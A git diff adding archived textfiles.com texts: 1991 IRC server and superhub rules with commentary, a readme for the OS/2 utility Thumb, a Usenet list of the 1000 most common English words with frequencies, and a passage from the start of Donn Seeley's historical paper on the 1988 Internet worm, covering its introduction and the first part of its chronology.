Again, there is a difference of opinion about this. But I + think that the vast majority think that walling birthdays, + for example, is a bad idea. This doesn't even begin to + address situations such as IRC users who don't speak english + getting walls in english, or someone walling happy birthday + in Swahili, Japanese, Russian, and 19 other languages to + make sure that everyone can understand it. +###### + +Rules for servers + -Jennifer Wesp (Phaedrus) July, 1991 + +The "enforcement" of these will continue much as it has been. Talk +to the oper in question if there is an oper related problem, or mail +the server admin if the trouble is with the server. (If the oper +ignores you then also go to the server admin) The only "new" idea is +that a stronger emphasis should be placed on the next server up the +line, if the admin of the server that is a problem proves unhelpful. +The last line of recourse is to request of the links to the "bad" +server that the links be cut. + +1) No server-open servers. + + *Consequently it is BAD to give links that are not for + servers that are in constant use, because then anyone + can set a server up that has access to that machine and + connect to you, if the "right" server is not around. + Also, infrequently used links should be passworded. + +2) No "hacked" servers. + + *This includes at least: + Servers that record messages in any way such that + anyone save the intended recipients can read them. + Servers that give channel op to anyone other than the + person who started the channel, or any subsequent + people that were given channel op by other channel + ops. + Servers that generate any false message, ie fake server + kills, squits, nick changes, etc. + +3) All servers must be within one major version of current. + + *This assumes (so far with reason) that major version + changes will cause incompatibility with old servers, + and that is to be minimised. Also that administration + of a given server should be able to upgrade it every + 4-5 months, or it can be considered defunct. + +4) No destructive testing of the network. + + *This includes at least: + KillBots that generate repeated kills + Any change to servers that disrupts traffic flow for + any server other than the one in question. + AutoReconnecting Clients without time delays. + Q-lining without ALL superhubs doing it simultaneously, + along with a majority of the hubs. + +5) No more than one server per site. + + *Assuming that one server can provide adequate coverage for + at least one site. If this is not so then adding a new + server or moving the old one can be discussed. Our first + priority is serving users, not creating servers just so + more people can be operators. + +Commentary by Greg Lindahl: + +1) This is a security issue we haven't dealt with much in the + past; however, someday someone is going to hack a nameserver + just to use an unused, unpassworded link. An ounce of + prevention, etc. + +2) The major controversey here is whether or not it's "ok" in + some circumstances to create channel ops when none are + present. I think not, for 3 reasons: + + A) It's only appropriate when everyone on the channel agrees. + There are some users who don't like channel operators and + avoid channels which have channel operators. So it's unfair + for them to join (or even create) a channel with no channel + operators, and see the rules changed before their very eyes. + + B) It gets abused when it exists. This is an unfortunate + reality. + + C) It's yet another special thing that an operator can do. + We're trying to make operators have as few special powers + as possible. + +3) We can't move forward unless people keep up. Running an IRC + server, unfortunately, takes a relatively large committment + of time. Someday it won't, but for now... for example, the + implementation of /disinvite that I have in mind won't work + until everyone upgrades. The ^G bug won't be history until + everyone patches or upgrades. Mode +n didn't work until + everyone upgraded. And so on. + +4) There is an alternative net for experiments, if you need to + do so. The main IRC net should be considered a "production" + system, mainly here so people can talk to each other. + Putting in some Q-lines in some places results in a network + split, which means people can't talk. Bad. + +5) Some people claim that everyone has the RIGHT to be an + operator, because it's a privledge. I think it's the other + way around: being an operator is a burden, should be used + for technical reasons, and should be open to individuals who + have the technical knowledge to use it. + +Likewise, it's not efficient for there to be one server per +user. IRC has a large amount of overhead to support a server. +Since we can serve people remotely, it's better to have fewer +servers and more users per server. + +###### + +Rules for Superhubs + -Jennifer Wesp (July 1991) + +1) Superhubs work as a group. + + This means that all policy decisions must be agreed upon + by all Superhub admins. In case of an unresolvable + problem that requires action the minority should resign + if it finds it cannot agree with the action to be taken. + I would assume, however, that this should never be + required. (Refers to Q: lining, link cutting, adding new + code, and anything else where inconsistency across a + high traffic link will cause trouble.) + +2) Superhubs are expected to be patched within 24hrs notice + as required. + + This means that multiple people be knowledgable + enough and available enough to be around pretty much all + of the time, and d owhat needs to be done. a suggested + method for this would be to, if possible, give another + active admin access to the server code and .conf of your + server. + + +-jennifer + diff --git a/textfiles.com/internet/thumb.txt b/textfiles.com/internet/thumb.txt new file mode 100644 index 00000000..39c512e3 --- /dev/null +++ b/textfiles.com/internet/thumb.txt @@ -0,0 +1,112 @@ + Product Information + + Thumb v1.2 + by Kevin Leonard + {kkl1@Cornell.Edu} + and + Paul Braren + {pb15@Cornell.Edu} +__________________________________________________________ + + written with + Watcom(TM) VX-REXX(TM) 2.0b +__________________________________________________________ + +rxSock -Rexx Function Package for TCP/IP Sockets for OS/2 2.0 + + by Patrick Mueller (pmuellr@vnet.ibm.com) + +(c) Copyright International Business Machines Corporation 1993. +All rights Reserved. +__________________________________________________________ + + +General Information + +Edit + Copy - Copy selected text from Result field to OS/2 Clipboard. + Paste - Paste OS/2 Clipboard to current position in Name field. +Host + Add - Add values from Name and Host fields to drop down list. + Delete - Delete value in Host field from drop down list. + Ascending - Sort Host list in ascending order. + Descending - Sort Host list in descending order. + Set Default - Make values in Name and Host fields the default. + Save - Write Host list and default Host to disk in .INI file. +Reset + Clear the Name and Response fields, set Host field to default. +Quit + Exit this program. Save settings for size, fonts, and colors. + (Use a Font or Color palette to change the fonts and colors.) +Help + You're looking at it. + +Command line parameters + /min - Start minimized. + /restore - Reset all sizes, fonts, and colors to their default. + +Configuration Information + +Requires: + IBM TCP/IP 2.0 + RXSOCK.DLL and vrobj.dll must be somewhere in your + config.sys LIBPATH specification. + (install.cmd defaults to putting them into /tcpip/dll) + +Features: + Saves window position and size + Also saves fonts and colors drag and dropped + from the OS/2 System font and color palettes + The Hosts tool palette is resizable, just drag border + to desired width, and buttons will be reconfigured. + All changes to the look of Thumb are saved when you + quit (Alt-Q, Alt-F4, or double click on top left). + If Thumb is minized when you quit it (ie, click once + on minimized icon, then on close to close it), it + will then start minimized the next time you run it. + +Known Shortcomings: + If you are not networked properly, it's a long wait for + RXSOCK.DLL to time out and let you close Thumb. + RXSOCK.DLL is from software.watson.ibm.com in /ews + (employee written software), and has this limitation. + Having the Hosts tool palette shown at quit time + doesn't get saved due to a reported VX-REXX 2.0a bug. + Using UP/DOWN arrow keys while focus is on the drop down + list doesn't give proper selection behavior yet. Using + your mouse works fine. + +Revision/Fix History: +Thumb 1.0 released on 5/24/94 +Thumb 1.1 released on 7/06/94 + Built using Build B of Watcom's VX-REXX, thus it's best with + VROBJ.DLL 6-20-94 836001 bytes (from Patch Level B), although + it will work with VROBJ.DLL from Patch Level A. + Due to popular demand, Thumb is now distributed without + VROBJ.DLL. Also, RXSOCK is also no longer included, as + the latest versions of IBM TCP/IP 2.0 for OS/2 now include + it as part of the standard distribution. + If you used Thumb 1.0, you may want to delete the VROBJ.DLL + and RXSOCK.DLL files from your /tcpip/bin directory if you + don't have other apps that use those files. + You can now run Thumb from any directory (ie, from C:, + type "\thumb\thumb", and it will work). It "knows" + where it's running from, and will find it's own .ini + file (whereas before it would just show no list and + wouldn't save changes). + Cosmetic changes to this Thumb.TXT file. + Different ZIP program used (2.0.1) to preserve HPFS + attributes (eg., now extracts to Thumb.EXE instead of + THUMB.EXE when using Info-ZIP 5.1 UNZIP). + Slightly smaller default font (System VIO) used for + returned data. + Fixed large returns of data, interpreting line-feed " " + character correctly. + Focus now defaults to name field. + New Thumb icon. + The time stamp tells you the version number of the files + in your Thumb directory. +Thumb 1.2 released on 7/14/94 + RXSOCK put back into the distribution. Also, 1.1 was + taken out of from ftp-os2.cdrom.com /pub/incoming for + unknown reasons twice. \ No newline at end of file diff --git a/textfiles.com/internet/top1000.use b/textfiles.com/internet/top1000.use new file mode 100644 index 00000000..beb70bcf --- /dev/null +++ b/textfiles.com/internet/top1000.use @@ -0,0 +1,1021 @@ +From: walker@hpl-opus.hpl.hp.com (Rick Walker) +Date: Tue, 19 Jan 1993 20:43:44 GMT +Subject: Re: Top 1000 English words +Message-ID: <63140014@hpl-opus.hpl.hp.com> +Organization: HP Labs, High Speed Electronics Dept., Palo Alto, CA +Newsgroups: comp.sources.wanted +Lines: 1014 + +In comp.sources.wanted, zzassgl@uts.mcc.ac.uk (Geoff Lane) writes: + +> I'm looking for an ftp'able list of the 1000 most common English words in +> non-technical sources (otherwise I'd just scan the man pages :-) + +Culled from one year of USENET traffic, here is my list of the top +1000 words, along with percentage of occurence: (this is from a database +of 343945617 total scanned words). + +-- +Rick Walker + +4.01838 the +2.43805 to +2.05957 of +1.95582 a +1.70176 I +1.68549 and +1.32531 is +1.23345 in +1.14749 that +0.811128 it +0.809861 for +0.713653 you +0.608371 on +0.607637 be +0.572971 have +0.550857 are +0.537898 with +0.516607 not +0.495937 this +0.492865 The +0.453028 or +0.450606 as +0.428827 was +0.36647 but +0.333821 at +0.323635 In +0.319617 from +0.318724 by +0.296894 an +0.293426 if +0.284022 they +0.278568 about +0.274626 would +0.271224 can +0.26783 one +0.267568 my +0.260243 will +0.258019 all +0.257 X +0.247188 article +0.243054 do +0.235852 edu +0.232097 has +0.213221 like +0.212694 there +0.2122 me +0.211624 writes +0.210243 out +0.209659 your +0.207384 what +0.205958 which +0.202603 UUCP +0.201669 some +0.200472 so +0.192512 we +0.191887 more +0.182256 who +0.18066 any +0.180247 don't +0.17788 up +0.173927 get +0.172152 am +0.171357 A +0.170564 If +0.170116 just +0.167853 he +0.167345 no +0.16423 other +0.163039 people +0.158253 know +0.155878 only +0.155658 their +0.155111 than +0.152515 This +0.152292 It +0.151887 think +0.151685 when +0.151365 them +0.149513 been +0.147283 time +0.14672 had +0.140304 were +0.132269 And +0.131215 Note +0.12924 C +0.129151 COM +0.128763 his +0.123732 should +0.119261 N +0.117737 m +0.116341 S +0.11565 use +0.115605 R +0.113397 P +0.112006 then +0.110857 also +0.109158 good +0.108499 how +0.108498 B +0.108333 could +0.10553 way +0.105457 T +0.104614 very +0.104014 W +0.103779 into +0.101045 E +0.0991447 com +0.0991244 much +0.0982094 M +0.0980431 make +0.09755 because +0.095987 these +0.0945879 does +0.0936212 see +0.0934654 may +0.0930397 O +0.0922899 As +0.0896299 Page +0.0894723 pm +0.0891153 even +0.089067 You +0.0890048 two +0.088464 want +0.0851347 it's +0.0847974 L +0.082975 most +0.082905 new +0.0828994 many +0.082898 well +0.0824665 s +0.0822866 such +0.0821202 system +0.0820755 really +0.0820668 first +0.0812326 HP +0.0803764 same +0.0796571 those +0.0793701 Response +0.0786967 our +0.0786668 now +0.0785711 say +0.0785665 work +0.0785514 being +0.0783275 used +0.0777565 Oct +0.0775259 EDU +0.0775201 U +0.0756343 too +0.0755451 anyone +0.0752037 here +0.0748964 where +0.0747072 over +0.0746071 What +0.0736154 right +0.0735061 But +0.0723516 problem +0.0721922 did +0.0705678 something +0.0704021 go +0.0673641 There +0.0671432 its +0.0671045 her +0.0667504 back +0.0665373 file +0.0661927 We +0.0652429 D +0.0648393 i +0.0646422 still +0.0630114 need +0.0622991 said +0.0622799 find +0.0620444 years +0.0615077 off +0.061089 things +0.0607174 ve +0.0607049 him +0.0604052 after +0.0603767 point +0.0596905 before +0.0596487 etc +0.0594036 cs +0.0593248 take +0.0591858 us +0.0591079 going +0.0587689 They +0.0584691 might +0.0576827 mail +0.0574533 since +0.0574283 never +0.0569497 better +0.0561673 read +0.0561156 name +0.0558126 got +0.0556262 long +0.0553567 someone +0.0550901 she +0.0550023 can't +0.0546895 why +0.0546485 last +0.0545013 few +0.0543528 All +0.0541775 My +0.0541118 number +0.0532997 must +0.0531747 using +0.0528424 own +0.0527156 little +0.0527057 doesn't +0.052645 made +0.0517547 down +0.051682 believe +0.0516814 d +0.0511659 He +0.0511566 net +0.0510409 So +0.050062 while +0.0500474 line +0.0500012 both +0.0499713 around +0.0499297 another +0.0495322 through +0.0494651 For +0.0488467 thing +0.0486359 AT +0.0485498 without +0.0481492 case +0.0481082 Also +0.0478078 No +0.0477389 between +0.047659 year +0.0475011 set +0.0469141 sure +0.0463751 probably +0.0462047 seems +0.045984 Jan +0.0458253 University +0.04575 enough +0.0455557 didn't +0.0455226 e +0.0453653 different +0.0452851 least +0.0451914 J +0.0450065 group +0.0445518 program +0.0443544 else +0.044255 BITNET +0.0441331 put +0.0440875 F +0.0438642 lot +0.0436729 DIRECT +0.0434138 John +0.043313 each +0.0432295 V +0.0431565 It's +0.0430463 information +0.0429042 ATT +0.0426422 part +0.042316 How +0.0423087 Any +0.0423015 question +0.0422421 old +0.0421189 real +0.0419372 course +0.0419139 anything +0.0416958 fact +0.0410928 H +0.0407198 When +0.0406695 best +0.0403119 call +0.0402939 c +0.0402872 end +0.0397944 give +0.039726 help +0.0396595 DEMAND +0.0394621 uunet +0.039426 At +0.0391236 Is +0.0389291 come +0.0387951 called +0.0386855 person +0.0386259 either +0.0384776 under +0.0384511 run +0.0382811 try +0.0381839 done +0.0381415 American +0.0380845 Mar +0.0380168 though +0.0375745 always +0.0375522 list +0.0374344 uucp +0.0373818 look +0.0372809 news +0.0370582 world +0.036948 thought +0.0367012 far +0.0366023 again +0.0365096 rec +0.0361479 available +0.0361237 seen +0.0359987 quite +0.0358661 rather +0.0358626 To +0.0358557 less +0.0357996 life +0.035651 One +0.0356385 day +0.0356341 problems +0.0353434 Aug +0.0353219 great +0.0352093 software +0.0350933 found +0.0350582 tell +0.0350006 women +0.0349558 every +0.0348759 ARPA +0.0347113 code +0.0344874 ever +0.0344022 against +0.034381 bit +0.0340132 place +0.0339821 version +0.0339734 After +0.0339507 general +0.0339356 data +0.0338289 support +0.0337402 Apple +0.033689 having +0.0336364 mean +0.0335995 above +0.0334873 heard +0.0332651 Thanks +0.0332622 doing +0.0330506 able +0.0329508 high +0.0328726 From +0.03287 next +0.0328546 state +0.0328395 change +0.0328322 G +0.0325924 book +0.0325194 Now +0.0324484 talk +0.0322513 Well +0.0322173 K +0.0321208 New +0.0320242 possible +0.0319638 please +0.031903 bad +0.0318925 Does +0.0318042 seem +0.0317838 US +0.0316672 man +0.0315538 Berkeley +0.0314951 following +0.031448 send +0.031432 example +0.0314198 several +0.0313986 isn't +0.0313922 Computer +0.0313349 reason +0.0312421 That +0.0311532 trying +0.0311282 getting +0.0309331 you're +0.0309322 true +0.0309151 feel +0.0308075 wrong +0.0307822 type +0.0307688 let +0.0307418 stuff +0.0307348 keep +0.0307083 n +0.030606 hard +0.0305048 left +0.0304981 idea +0.0304836 show +0.0302597 post +0.0302248 says +0.0300417 power +0.0300306 remember +0.0298428 looking +0.0298213 Why +0.0297855 until +0.0297768 game +0.0296652 local +0.0296428 David +0.0295771 non +0.0295262 ago +0.0294893 May +0.0293895 ll +0.029375 others +0.0292927 car +0.029129 control +0.029038 Are +0.02899 hp +0.0289235 actually +0.0288322 posting +0.0287659 Apr +0.0287615 that's +0.0287577 three +0.0285813 yet +0.028522 message +0.0283937 o +0.028303 x +0.02821 away +0.0281414 computer +0.0279189 machine +0.0278782 makes +0.0277375 interested +0.0276709 files +0.0275997 kind +0.0275608 Sep +0.0274956 large +0.0273863 sun +0.0272561 current +0.0272287 already +0.0272255 order +0.0271898 small +0.0271619 means +0.027131 times +0.0271153 government +0.0271145 Feb +0.027056 space +0.0270258 free +0.0270188 systems +0.027004 running +0.0268609 second +0.0267862 Q +0.0267502 Y +0.0267057 However +0.0265626 money +0.0264341 nothing +0.0264091 home +0.0263207 level +0.026317 music +0.0261309 CA +0.0261222 start +0.0259922 issue +0.0259509 men +0.0259428 An +0.0257596 whether +0.0256988 given +0.0256384 test +0.0256296 user +0.0256055 big +0.0255017 pretty +0.0254831 based +0.0254488 Please +0.0254409 Sun +0.025108 On +0.0250112 address +0.02489 once +0.0245928 misc +0.024423 agree +0.0243803 area +0.0243509 Systems +0.0243483 include +0.024073 write +0.0240346 mind +0.0240195 rutgers +0.0239616 comp +0.0239552 experience +0.0237895 memory +0.0237761 original +0.023775 Of +0.0236421 discussion +0.0235473 DAILY +0.0235098 Z +0.0234901 word +0.0233746 God +0.0233525 understand +0.0233237 UNIX +0.0233179 uk +0.0232473 matter +0.0232386 Not +0.02319 THE +0.0231574 during +0.0231548 play +0.0230691 won't +0.0229039 standard +0.0228981 making +0.0228475 hand +0.0227638 drive +0.0227213 days +0.0226076 copy +0.0225562 whole +0.0224829 Do +0.0223684 human +0.0223341 works +0.0223314 PC +0.0223134 Steve +0.0222846 interesting +0.0222742 System +0.0222454 Dec +0.022241 Just +0.0222242 cannot +0.0221096 Yes +0.0220791 often +0.0219997 disk +0.0219715 side +0.0219651 maybe +0.0218843 These +0.0217694 nice +0.0217505 came +0.0216901 public +0.0216871 Some +0.0216566 Mr +0.0215267 source +0.0214964 Dave +0.0214845 guess +0.0214833 HOURLY +0.021481 open +0.0214089 NOT +0.0213039 almost +0.0212906 full +0.0211414 h +0.0211371 buy +0.0210783 important +0.0210295 response +0.0209908 ask +0.0209728 return +0.0209266 simply +0.0208859 Mark +0.0207222 went +0.020682 hope +0.0205096 told +0.0204811 tried +0.0204512 wanted +0.0204181 story +0.0203864 process +0.0203381 saying +0.0203381 form +0.0203148 Another +0.0202837 p +0.0202762 love +0.0202634 couple +0.0201796 gets +0.0201692 law +0.0201686 answer +0.02015 live +0.02015 city +0.0200988 Since +0.0200476 comes +0.0200401 working +0.0199779 AND +0.0198386 goes +0.0198369 country +0.0197642 sort +0.0196894 major +0.0196694 Mike +0.0196665 per +0.0195854 haven't +0.0195711 Inc +0.0195138 everyone +0.0195008 Bell +0.0194467 cost +0.0194284 command +0.0194173 Michael +0.019367 care +0.0193345 words +0.0193068 usually +0.0193062 company +0.0192719 posted +0.0192091 Bob +0.019201 water +0.0191734 b +0.0191321 groups +0.0191059 opinions +0.0190888 Nov +0.0190597 reading +0.0190562 Actually +0.0190332 instead +0.0188966 job +0.0188771 written +0.0188364 size +0.0188091 Or +0.018805 single +0.0187963 wouldn't +0.0187445 sense +0.0187393 pay +0.0187187 value +0.0186768 programs +0.0186122 language +0.0186053 short +0.0185762 lines +0.0185733 soc +0.0184896 att +0.0184829 Then +0.0184358 questions +0.018423 San +0.0183948 Jul +0.0183291 certainly +0.0183256 Jim +0.0183183 mod +0.0182994 later +0.0182142 Anyone +0.018202 note +0.0181718 speed +0.0181697 saw +0.0181072 similar +0.0180226 week +0.0180014 character +0.017979 Can +0.0179674 light +0.0179633 Paul +0.0179496 friend +0.0179206 certain +0.0179028 difference +0.0178674 including +0.0178618 info +0.0178043 myself +0.0177531 ac +0.0177426 access +0.0177319 responses +0.0177127 hear +0.0176316 within +0.0176098 however +0.0176048 add +0.0175839 g +0.017572 Bill +0.017515 correct +0.0174676 Science +0.0174455 become +0.0173647 text +0.0172516 Center +0.0172231 top +0.0171716 asked +0.0171687 error +0.0171489 known +0.017101 IBM +0.0170568 perhaps +0.0170498 consider +0.0170323 sound +0.0170262 easy +0.0170164 price +0.0170105 started +0.0169306 especially +0.0168724 rights +0.0168666 stop +0.0168105 rest +0.0167948 everything +0.0167774 games +0.0167768 talking +0.016773 LOCAL +0.0167372 recently +0.0167268 whatever +0.0167189 particular +0.0165826 half +0.0165692 low +0.0165628 simple +0.016525 sex +0.016516 define +0.0165061 network +0.0164977 subject +0.0164953 except +0.0164122 ones +0.0163837 provide +0.0163683 class +0.0163648 fine +0.0163613 Chinese +0.0163314 check +0.0163273 woman +0.0163197 took +0.0163125 months +0.0162994 II +0.0162784 interest +0.0162758 along +0.0162587 She +0.0162287 turn +0.0162136 America +0.0161345 due +0.0161188 clear +0.016118 Amiga +0.0161177 close +0.016113 past +0.0161104 mit +0.0160898 children +0.0160636 By +0.016036 That's +0.0159325 via +0.0159165 points +0.0158676 team +0.0158641 phone +0.0158612 argument +0.0158243 various +0.0158092 result +0.015797 although +0.0157912 school +0.015783 opinion +0.0157731 worth +0.0157298 deal +0.0157051 Oh +0.015692 books +0.0156897 mode +0.0156632 service +0.0156539 Don't +0.015565 together +0.0154891 MT +0.0154745 f +0.0154452 mine +0.0154306 there's +0.0154045 night +0.0153955 tape +0.0153821 cause +0.0153423 guy +0.0153297 wasn't +0.0153074 common +0.0152972 int +0.0152966 effect +0.0152873 Jun +0.0151588 position +0.0151405 Maybe +0.0150887 series +0.0150858 head +0.0150442 r +0.0150352 likely +0.0150268 needs +0.0149916 itself +0.0149559 t +0.0149457 characters +0.0149402 situation +0.0149236 comments +0.0149233 device +0.0149064 DEDICATED +0.014896 key +0.0148826 unless +0.0148396 special +0.0148215 move +0.0148064 window +0.0147779 users +0.0147759 request +0.0147608 leave +0.0147215 allow +0.0146971 Box +0.0146759 hplabs +0.0145886 Anyway +0.0145814 yes +0.0145593 sent +0.0145575 personal +0.0145479 Software +0.0145337 aren't +0.0145322 self +0.0145288 mentioned +0.0144936 OF +0.0144851 ucbvax +0.0144514 char +0.0144479 BTW +0.0144072 Tom +0.0144011 claim +0.0143848 taken +0.0143529 Robert +0.0143511 Scott +0.0143389 record +0.0143092 future +0.0143052 function +0.0143043 takes +0.0142976 uses +0.0142412 child +0.0142174 Because +0.014197 field +0.0141633 exactly +0.0141537 longer +0.0141511 view +0.0141496 four +0.0141485 Most +0.0141325 themselves +0.0141299 Unix +0.0141284 happen +0.0141043 unix +0.0141005 expect +0.014099 Internet +0.0140516 students +0.0139656 room +0.0139621 Peter +0.0139508 w +0.0139502 changed +0.0139391 front +0.0139284 today +0.013915 rate +0.0138757 society +0.0138574 BA +0.0138502 business +0.0138374 they're +0.0138295 recent +0.0138272 With +0.0137853 movie +0.0137781 sources +0.013744 numbers +0.0137208 SPW +0.0137083 main +0.0136897 needed +0.0136586 screen +0.0136475 California +0.0136434 wrote +0.0136385 anyway +0.0136254 early +0.0136135 product +0.0136045 friends +0.0135431 ca +0.0135362 Alan +0.0135347 issues +0.0135344 performance +0.0135248 machines +0.0135207 Your +0.0135132 Research +0.0135114 board +0.0134658 lost +0.0134646 anybody +0.0134257 page +0.0134085 looks +0.0133978 amount +0.0133943 house +0.0133867 articles +0.0133739 wants +0.0133739 Who +0.013369 BSD +0.0133193 Re +0.0133097 First +0.0132847 results +0.0132634 CD +0.0132387 newsgroup +0.0132326 hit +0.0132146 wish +0.0132012 cc +0.0131695 gun +0.0131617 knows +0.0131608 root +0.0131349 market +0.013132 ST +0.0131282 statement +0.0131198 necessary +0.013116 fun +0.0131149 design +0.0130957 month +0.0130916 USA +0.0130867 thinking +0.0130817 date +0.0130692 history +0.0130538 happened +0.0130518 ALL +0.0130329 term +0.0130044 hours +0.0129991 State +0.0129922 soon +0.0129808 break +0.0129363 death +0.0129305 bitnet +0.0129189 card +0.0129157 names +0.0129102 Richard +0.012907 MA +0.0128686 lots +0.0128663 legal +0.0128613 choice +0.012861 evidence +0.0128596 minutes +0.0128404 war +0.0128401 St +0.0128285 body +0.0127921 taking +0.0127767 Even +0.0127668 ideas +0.0127564 research +0.0127471 yourself +0.0127372 Perhaps +0.0127119 release +0.0126869 involved +0.0126828 format +0.0126241 useful +0.0125947 Joe +0.0125799 server +0.0125732 Although +0.0125415 writing +0.0125363 chance +0.0125357 While +0.0125311 black +0.0125197 BERKELEY +0.0125031 he's +0.012502 assume +0.0124947 cmu +0.0124787 Dr +0.0124732 upon +0.0124552 kill +0.0124528 received +0.0124502 required +0.0124462 gov +0.0124275 playing +0.0124084 output +0.0124057 sounds +0.0123679 weeks +0.0123615 cup +0.0123226 air +0.0123171 radio +0.0123104 willing +0.0123002 couldn't +0.0122938 Mac +0.0122918 MIT +0.0122915 changes +0.0122828 near +0.0122784 film +0.0122781 complete +0.0122476 Here +0.0122365 reasons +0.0122159 played +0.0122112 vote +0.0122043 present +0.0121653 related +0.0121633 cases +0.0121609 TV +0.0121493 political +0.012092 quality +0.012072 currently +0.0120327 environment +0.0120295 string +0.0119975 learn +0.011944 paper +0.0119339 color +0.0119243 parts +0.0119173 hold +0.0119039 advance +0.0118932 postmaster +0.011892 AIDS +0.0118879 OK +0.0118871 fast +0.0118862 model +0.0118859 force +0.0118757 rules +0.0118748 China +0.0118699 hardware +0.011865 York +0.0118417 cut +0.0118301 considered +0.0117995 directory +0.0117978 object +0.0117929 Department +0.0117774 sometimes +0.0117681 difficult +0.0117513 outside +0.0117216 album +0.0117158 save +0.0116995 specific +0.0116812 completely +0.0116803 doubt +0.0116588 laws +0.0116373 DEC +0.0116071 food +0.0116059 calls +0.0116024 folks +0.0115919 total +0.0115504 usr +0.0115405 re +0.0115309 contact +0.0115239 James +0.011519 domain +0.0114972 higher +0.011496 April +0.011485 site +0.0114698 shows +0.0114666 normal +0.0114422 Andrew +0.0114419 directly +0.0114256 TO +0.0114219 white +0.0114158 among +0.0113974 coming +0.0113582 Jeff +0.0113341 English +0.011332 family +0.0113306 sci +0.0113285 religion +0.0113277 supposed +0.011321 UX +0.0113003 sys +0.0112622 solution +0.0112617 Barry +0.0112608 culture +0.011259 dead +0.0112527 development +0.0112367 reasonable +0.0112247 decwrl +0.0112224 create +0.011209 decided +0.0112076 appropriate +0.0111634 knowledge +0.0111573 behind +0.0111489 DOS +0.011066 CS +0.0110622 berkeley +0.0110387 exist +0.0110326 BBS +0.0110035 suggest +0.0110023 buffer +0.0109892 science +0.0109852 interface +0.010977 Americans +0.0109578 action +0.0109552 entire +0.0109494 below +0.0109288 Has + diff --git a/textfiles.com/internet/tour.crt b/textfiles.com/internet/tour.crt new file mode 100644 index 00000000..94e4cd39 --- /dev/null +++ b/textfiles.com/internet/tour.crt @@ -0,0 +1,1702 @@ + + + + + + + + + + + + + + _ A _ T_ o_ u_ r _ o_ f _ t_ h_ e _ W_ o_ r_ m + + _ D_ o_ n_ n _ S_ e_ e_ l_ e_ y + 9 Department of Computer Science + University of Utah + + 9 _ A_ B_ S_ T_ R_ A_ C_ T + + + On the evening of November 2, 1988, a self-replicating + program was released upon the Internet[1]. This program + (a _ w_ o_ r_ m) invaded VAX and Sun-3 computers running versions + of Berkeley UNIX, and used their resources to attack + still more computers[2]. Within the space of hours this + program had spread across the U.S., infecting hundreds or + thousands of computers and making many of them unusable + due to the burden of its activity. This paper provides a + chronology for the outbreak and presents a detailed + description of the internals of the worm, based on a C + version produced by decompiling. + + +_ 1. _ I_ n_ t_ r_ o_ d_ u_ c_ t_ i_ o_ n + + There is a fine line between helping administrators pro- + tect their systems and providing a cookbook for bad guys. + [Grampp and Morris, ``UNIX Operating System Security''] + + + November 3, 1988 is already coming to be known as Black +Thursday. System administrators around the country came to work +on that day and discovered that their networks of computers were +laboring under a huge load. If they were able to log in and gen- +erate a system status listing, they saw what appeared to be +dozens or hundreds of ``shell'' (command interpreter) processes. +If they tried to kill the processes, they found that new +processes appeared faster than they could kill them. Rebooting +____________________ + 9 [1] The Internet is a logical network made up of many physical +networks, all running the IP class of network protocols. + [2] VAX and Sun-3 are models of computers built by Digital +Equipment Corp. and Sun Microsystems Inc., respectively. UNIX is +a Registered Bell of AT&T Trademark Laboratories. + + + + + 9 + + + + + + + +Tour of the Worm 2 + + +the computer seemed to have no effect--within minutes after +starting up again, the machine was overloaded by these mysterious +processes. + + These systems had been invaded by a _ w_ o_ r_ m. A worm is a pro- +gram that propagates itself across a network, using resources on +one machine to attack other machines. (A worm is not quite the +same as a _ v_ i_ r_ u_ s, which is a program fragment that inserts itself +into other programs.) The worm had taken advantage of lapses in +security on systems that were running 4.2 or 4.3 BSD UNIX or +derivatives like SunOS. These lapses allowed it to connect to +machines across a network, bypass their login authentication, +copy itself and then proceed to attack still more machines. The +massive system load was generated by multitudes of worms trying +to propagate the epidemic. + + The Internet had never been attacked in this way before, +although there had been plenty of speculation that an attack was +in store. Most system administrators were unfamiliar with the +concept of worms (as opposed to viruses, which are a major affl- +iction of the PC world) and it took some time before they were +able to establish what was going on and how to deal with it. +This paper is intended to let people know exactly what happened +and how it came about, so that they will be better prepared when +it happens the next time. The behavior of the worm will be exam- +ined in detail, both to show exactly what it did and didn't do, +and to show the dangers of future worms. The epigraph above is +now ironic, for the author of the worm used information in that +paper to attack systems. Since the information is now well +known, by virtue of the fact that thousands of computers now have +copies of the worm, it seems unlikely that this paper can do +similar damage, but it is definitely a troubling thought. Opin- +ions on this and other matters will be offered below. + +_ 2. _ C_ h_ r_ o_ n_ o_ l_ o_ g_ y + + Remember, when you connect with another computer, you're + connecting to every computer that computer has connected + to. [Dennis Miller, on NBC's _ S_ a_ t_ u_ r_ d_ a_ y _ N_ i_ g_ h_ t _ L_ i_ v_ e] + 9 Here is the gist of a message I got: I'm sorry. [Andy + Sudduth, in an anonymous posting to the TCP-IP list on + behalf of the author of the worm, 11/3/88] + + + Many details of the chronology of the attack are not yet +available. The following list represents dates and times that we +are currently aware of. Times have all been rendered in Pacific +Standard Time for convenience. + +11/2: 1800 (approx.) + This date and time were seen on worm files found on + _ p_ r_ e_ p._ a_ i._ m_ i_ t._ e_ d_ u, a VAX 11/750 at the MIT Artificial + + + 9 + + + + + + + +Tour of the Worm 3 + + + Intelligence Laboratory. The files were removed + later, and the precise time was lost. System log- + ging on _ p_ r_ e_ p had been broken for two weeks. The + system doesn't run accounting and the disks aren't + backed up to tape: a perfect target. A number of + ``tourist'' users (individuals using public + accounts) were reported to be active that evening. + These users would have appeared in the session log- + ging, but see below. + +11/2: 1824 First known West Coast infection: _ r_ a_ n_ d._ o_ r_ g at Rand + Corp. in Santa Monica. + +11/2: 1904 _ c_ s_ g_ w._ b_ e_ r_ k_ e_ l_ e_ y._ e_ d_ u is infected. This machine is a + major network gateway at UC Berkeley. Mike Karels + and Phil Lapsley discover the infection shortly + afterward. + +11/2: 1954 _ m_ i_ m_ s_ y._ u_ m_ d._ e_ d_ u is attacked through its _ f_ i_ n_ g_ e_ r + server. This machine is at the University of Mary- + land College Park Computer Science Department. + +11/2: 2000 (approx.) + Suns at the MIT AI Lab are attacked. + +11/2: 2028 First _ s_ e_ n_ d_ m_ a_ i_ l attack on mimsy. + +11/2: 2040 Berkeley staff figure out the _ s_ e_ n_ d_ m_ a_ i_ l and _ r_ s_ h + attacks, notice _ t_ e_ l_ n_ e_ t and _ f_ i_ n_ g_ e_ r peculiarities, + and start shutting these services off. + +11/2: 2049 _ c_ s._ u_ t_ a_ h._ e_ d_ u is infected. This VAX 8600 is the cen- + tral Computer Science Department machine at the + University of Utah. The next several entries fol- + low documented events at Utah and are representa- + tive of other infections around the country. + +11/2: 2109 First _ s_ e_ n_ d_ m_ a_ i_ l attack 